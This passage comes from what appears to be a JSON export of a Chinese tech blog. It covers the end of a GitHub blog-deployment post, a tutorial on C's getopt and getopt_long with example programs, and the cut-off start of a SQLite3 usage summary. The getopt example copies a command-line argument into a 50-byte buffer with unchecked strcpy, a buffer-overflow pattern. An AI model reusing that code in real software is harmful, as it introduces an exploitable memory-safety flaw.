Actions帮你发布到html分支上。\u003c/p\u003e\u003cp\u003e这应该就是折腾的尽头了。如果你还想再折腾的话,那可以试试更改之前的workflow,来添加你的自定义操作,比如一键部署到你的服务器上,或者邮件通知发布结果之类的。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/"},{"title":"C语言命令行参数解析","time":"2022-11-22T12:28:42Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e在编写需要命令行参数的C程序的时候,往往我们需要先解析命令行参数,然后根据这些参数来启动我们的程序。\u003c/p\u003e\u003cp\u003eC的库函数中提供了两个函数可以用来帮助我们解析命令行参数:getopt、getopt_long。\u003c/p\u003e\u003cp\u003egetopt可以解析短参数,所谓短参数就是指选项前只有一个“-”(如-t),而getopt_long则支持短参数跟长参数(如”–prefix”)。\u003c/p\u003e\u003ch2 id=\"getopt函数\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%8F%82%E6%95%B0%E8%A7%A3%E6%9E%90/#getopt%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"getopt函数\"\u003e\u003c/a\u003egetopt函数\u003c/h2\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003egetopt\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e argc,\u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"type\"\u003econst\u003c/span\u003e argv[],\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *optstring)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *optarg; \u003cspan class=\"comment\"\u003e//当前选项参数字串(如果有)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e optind; \u003cspan class=\"comment\"\u003e//argv的当前索引值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e各参数的意义:\u003c/p\u003e\u003cul\u003e\u003cli\u003eargc:通常为main函数中的argc\u003c/li\u003e\u003cli\u003eargv:通常为main函数中的argv\u003c/li\u003e\u003cli\u003eoptstring:用来指定选项的内容(如:”ab:c”),它由多个部分组成,表示的意义分别为:\u003c/li\u003e\u003c/ul\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e单个字符,表示选项。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e单个字符后接一个冒号:表示该选项后必须跟一个参数。参数紧跟在选项后或者以空格隔开。该参数的指针赋给optarg。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e单个字符后跟两个冒号,表示该选项后可以跟一个参数,也可以不跟。如果跟一个参数,参数必须紧跟在选项后不能以空格隔开。该参数的指针赋给optarg。\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e调用该函数将返回解析到的当前选项,该选项的参数将赋给optarg,如果该选项没有参数,则optarg为NULL。下面将演示该函数的用法\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e argc,\u003cspan class=\"type\"\u003echar\u003c/span\u003e *argv[])\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e opt=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e b=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e s[\u003cspan class=\"number\"\u003e50\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e((opt=getopt(argc,argv,\u003cspan class=\"string\"\u003e\u0026#34;ab:\u0026#34;\u003c/span\u003e))!=\u003cspan class=\"number\"\u003e-1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e(opt)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e:a=\u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;b\u0026#39;\u003c/span\u003e:b=\u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(s,optarg);\u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(a)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;option a\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(b)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;option b:%s\\n\u0026#34;\u003c/span\u003e,s);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e编译之后可以如下调用该程序\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://images2015.cnblogs.com/blog/779368/201511/779368-20151106222621946-984318181.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"getopt-long函数\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%8F%82%E6%95%B0%E8%A7%A3%E6%9E%90/#getopt-long%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"getopt_long函数\"\u003e\u003c/a\u003egetopt_long函数\u003c/h2\u003e\u003cp\u003e与getopt不同的是,getopt_long还支持长参数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;getopt.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003egetopt_long\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e argc, \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"type\"\u003econst\u003c/span\u003e argv[],\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *optstring,\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e option *longopts, \u003cspan class=\"type\"\u003eint\u003c/span\u003e *longindex)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e前面三个参数跟getopt函数一样(解析到短参数时返回值跟getopt一样),而长参数的解析则与longopts参数相关,该参数使用如下的结构\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eoption\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"comment\"\u003e//长参数名\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *name;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e    表示参数的个数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e    no_argument(或者0),表示该选项后面不跟参数值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e    required_argument(或者1),表示该选项后面一定跟一个参数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e    optional_argument(或者2),表示该选项后面的参数可选\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e  */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"type\"\u003eint\u003c/span\u003e has_arg;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"comment\"\u003e//如果flag为NULL,则函数会返回下面val参数的值,否则返回0,并将val值赋予赋予flag所指向的内存\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"type\"\u003eint\u003c/span\u003e *flag;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"comment\"\u003e//配合flag来决定返回值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"type\"\u003eint\u003c/span\u003e val;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e参数longindex,表示当前长参数在longopts中的索引值,如果不需要可以置为NULL。\u003c/p\u003e\u003cp\u003e下面是使用该函数的一个例子\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;getopt.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e learn=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eoption\u003c/span\u003e \u003cspan class=\"title\"\u003elong_option\u003c/span\u003e[]=\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003cspan class=\"string\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e,required_argument,\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e,\u003cspan class=\"string\"\u003e\u0026#39;n\u0026#39;\u003c/span\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003cspan class=\"string\"\u003e\u0026#34;learn\u0026#34;\u003c/span\u003e,no_argument,\u0026amp;learn,\u003cspan class=\"number\"\u003e1\u003c/span\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e,\u003cspan class=\"number\"\u003e0\u003c/span\u003e,\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e,\u003cspan class=\"number\"\u003e0\u003c/span\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e argc,\u003cspan class=\"type\"\u003echar\u003c/span\u003e *argv[])\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e opt=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e((opt=getopt_long(argc,argv,\u003cspan class=\"string\"\u003e\u0026#34;n:l\u0026#34;\u003c/span\u003e,long_option,\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e))!=\u003cspan class=\"number\"\u003e-1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e(opt)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e:\u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;n\u0026#39;\u003c/span\u003e:\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;name:%s \u0026#34;\u003c/span\u003e,optarg); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(learn)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;learning\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e编译之后可以如下调用该程序\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://images2015.cnblogs.com/blog/779368/201511/779368-20151106225136680-1898825378.png\"/\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%8F%82%E6%95%B0%E8%A7%A3%E6%9E%90/"},{"title":"C语言SQLite3使用总结","time":"2022-11-22T12:14:44Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e转载网址:\u003ca href=\"http://blog.chinaunix.net/uid-8447633-id-3321394.html\"\u003e查看\u003c/a\u003e\u003c/p\u003e\u003cp\u003e前序:\u003c/p\u003e\u003cp\u003eSqlite3 的确很好用。小巧、速度快。但是因为非微软的产品,帮助文档总觉得不够。这些天再次研究它,又有一些收获,这里把我对 sqlite3 的研究列出来,以备忘记。\u003c/p\u003e\u003cp\u003e这里要注明,我是一个跨平台专注者,并不喜欢只用 windows 平台。我以前的工作就是为 unix 平台写代码。下面我所写的东西,虽然没有验证,但是我已尽量不使用任何 windows 的东西,只使用标准 C 或标准C++。但是,我没有尝试过在别的系统、别的编译器下编译,因此下面的叙述如果不正确,则留待以后修改。\u003c/p\u003e\u003cp\u003e下面我的代码仍然用 VC 编写,因为我觉得VC是一个很不错的IDE,可以加快代码编写速度(例如配合 Vassist )。下面我所说的编译环境,是VC2003。如果读者觉得自己习惯于 unix 下用 vi 编写代码速度较快,可以不用管我的说明,只需要符合自己习惯即可,因为我用的是标准 C 或 C++ 。不会给任何人带来不便。\u003c/p\u003e\u003ch2 id=\"一、版本\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80SQLite3%E4%BD%BF%E7%94%A8%E6%80%BB%E7%BB%93/#%E4%B8%80%E3%80%81%E7%89%88%E6%9C%AC\" class=\"headerlink\" title=\"一、版本\"\u003e\u003c/a\u003e一、版本\u003c/h2\u003e\u003cp\u003e从 \u003ca href=\"http://www.sqlite.org/\"\u003ewww.sqlite.org\u003c/a\u003e 网站可下载到最新的 sqlite 代码和编译版本。我写此文章时,最新代码是 3.3.17 版本。\u003c/p\u003e\u003cp\u003e很久没有去下载 sqlite 新代码,因此也不知道 sqlite 变化这么大。以前很多文件,现在全部合并成一个 sqlite3.c 文件。如果单独用此文件,是挺好的,省去拷贝一堆文件还担心有没有遗漏。但是也带来一个问题:此文件太大,快接近7万行代码,VC开它整个机器都慢下来了。如果不需要改它代码,也就不需要打开 sqlite3.c 文件,机器不会慢。但是,下面我要写通过修改 sqlite 代码完成加密功能,那时候就比较痛苦了。如果个人水平较高,建议用些简单的编辑器来编辑,例如UltraEdit 或 Notepad 。速度会快很多。\u003c/p\u003e\u003ch2 id=\"二、基本编译\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80SQLite3%E4%BD%BF%E7%94%A8%E6%80%BB%E7%BB%93/#%E4%BA%8C%E3%80%81%E5%9F%BA%E6%9C%AC%E7%BC%96%E8%AF%91\" class=\"headerlink\" 